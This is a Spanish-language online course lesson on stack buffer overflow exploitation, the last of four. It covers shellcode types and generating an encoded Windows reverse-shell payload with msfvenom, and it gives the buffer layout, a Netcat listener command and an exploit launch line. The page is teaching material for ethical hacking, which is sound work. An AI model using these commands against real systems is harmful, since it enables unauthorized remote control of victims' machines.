0Pricing
Ethical Hacking Academy · Lección

Shellcode y explotación

Obtener una shell

Shellcode y explotación es una lección gratuita de Ethical Hacking Academy en CoddyKit. Esta es la lección 4 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Ethical Hacking Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Ethical Hacking Academy incluye 4 lecciones en total.

¿Qué es el shellcode?

El shellcode es un pequeño fragmento de código máquina que realiza una acción al ejecutarse; tradicionalmente, inicia un shell. Es la carga útil a la que redirige la ejecución después de controlar EIP.

Está escrito como bytes sin formato (códigos de operación) para poder inyectarlo directamente en la memoria.

Tipos de cargas útiles

Entre los objetivos habituales de las cargas útiles se incluyen:

  • Bind shell: abre un puerto a la escucha en la víctima.
  • Reverse shell: se conecta de vuelta al atacante (funciona mejor a través de firewalls/NAT).
  • Ejecutar un comando: ejecuta un único comando, como añadir un usuario.

Las reverse shells son las más habituales en operaciones reales.

Generar con msfvenom

msfvenom genera cargas útiles. Debe especificar el tipo de carga útil, la dirección y el puerto del listener, el formato de salida y los caracteres problemáticos que se deben evitar.

La opción -b excluye los caracteres problemáticos; -f establece el formato de salida.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

Por qué es necesaria la codificación

El shellcode sin formato suele contener caracteres problemáticos (como bytes nulos). Un codificador transforma la carga útil para evitar esos bytes y antepone un stub decodificador que restaura el código original durante la ejecución.

El codificador clásico es x86/shikata_ga_nai.

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

El decodificador y la automodificación

El shellcode codificado se decodifica a sí mismo en la memoria antes de ejecutarse. Esta automodificación necesita un pequeño margen adicional en la pila, por lo que un tobogán de NOP y un espacio de búfer suficiente resultan útiles.

A veces debe ajustar ESP primero para que el decodificador no corrompa su propio código.

Montar el exploit final

El búfer completo del exploit es:

  • Relleno hasta el desplazamiento.
  • La dirección de retorno JMP ESP.
  • Un tobogán de NOP.
  • El shellcode codificado.

Envíe esto a la entrada vulnerable y la ejecución pasará a su carga útil.

buf = "A"*offset + ret + "\x90"*16 + shellcode

Configuración del listener

Para una shell inversa, debe escuchar en su máquina antes de activar el exploit. Un listener sencillo de Netcat captura la conexión entrante.

Para payloads por etapas, use en su lugar multi/handler de Metasploit.

nc -lvnp 4444

Activación del exploit

Con el listener preparado, envíe el búfer diseñado al objetivo. Si todo encaja, el shellcode se ejecuta y su listener recibe una shell en la víctima.

Ahora dispone de ejecución de comandos con los privilegios del proceso vulnerable.

python exploit.py 10.0.0.20 9999

Solución de problemas

Si falla, compruebe las causas habituales:

  • Se ha introducido un carácter no válido en el shellcode o en la dirección de retorno.
  • El trineo de NOP es demasiado corto.
  • El decodificador no tenía suficiente espacio en la pila (ajuste ESP).
  • El offset o el orden de bytes son incorrectos.

Depurar metódicamente en el depurador permite aislar el problema.

Más allá del desbordamiento clásico

Con DEP y ASLR activados, el shellcode colocado directamente en la pila no se ejecutará. Los exploits modernos usan programación orientada al retorno (ROP) para encadenar gadgets de código existentes y filtraciones de información para superar ASLR.

Este curso ha enseñado los fundamentos sobre los que se basan esas técnicas avanzadas.

Por etapas frente a sin etapas

Los payloads se presentan en dos variantes. Un payload sin etapas contiene todo el shellcode en un único bloque. Un payload por etapas envía un stub diminuto que descarga el resto desde su handler.

Los payloads por etapas caben en búferes más pequeños, pero necesitan un handler compatible, como multi/handler de Metasploit, para entregar la segunda etapa.

Comprobación rápida

Recuerde por qué el shellcode suele codificarse.

Resumen

Ha completado la cadena de explotación:

  • El shellcode es el payload; las shells inversas son las más prácticas.
  • Genérelo y codifíquelo con msfvenom para evitar caracteres no válidos.
  • Ensamble el relleno + JMP ESP + trineo de NOP + shellcode, inicie un listener y active el exploit.
  • Los objetivos modernos necesitan ROP y filtraciones de información para superar DEP/ASLR.

Ha completado el curso de explotación de desbordamientos de búfer.

Preguntas frecuentes

¿La lección «Shellcode y explotación» es gratis?

Sí — el texto completo de «Shellcode y explotación» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Ethical Hacking Academy, actualiza a CoddyKit PRO. El curso de Ethical Hacking Academy incluye 4 lecciones en total.

¿Qué aprenderé en «Shellcode y explotación»?

Obtener una shell Practicas Ethical Hacking Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.

¿Necesito experiencia previa para empezar Ethical Hacking Academy?

No se requiere experiencia previa. Ethical Hacking Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 4 de 4.

¿Cuánto tiempo toma la lección «Shellcode y explotación»?

La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.

¿Puedo escribir y ejecutar código en esta lección de Ethical Hacking Academy?

Sí. Cada lección de Ethical Hacking Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.

Todas las lecciones de este curso

  1. Memoria y la pila
  2. Fuzzing para encontrar fallos
  3. Control del EIP
  4. Shellcode y explotación
← Volver a Ethical Hacking Academy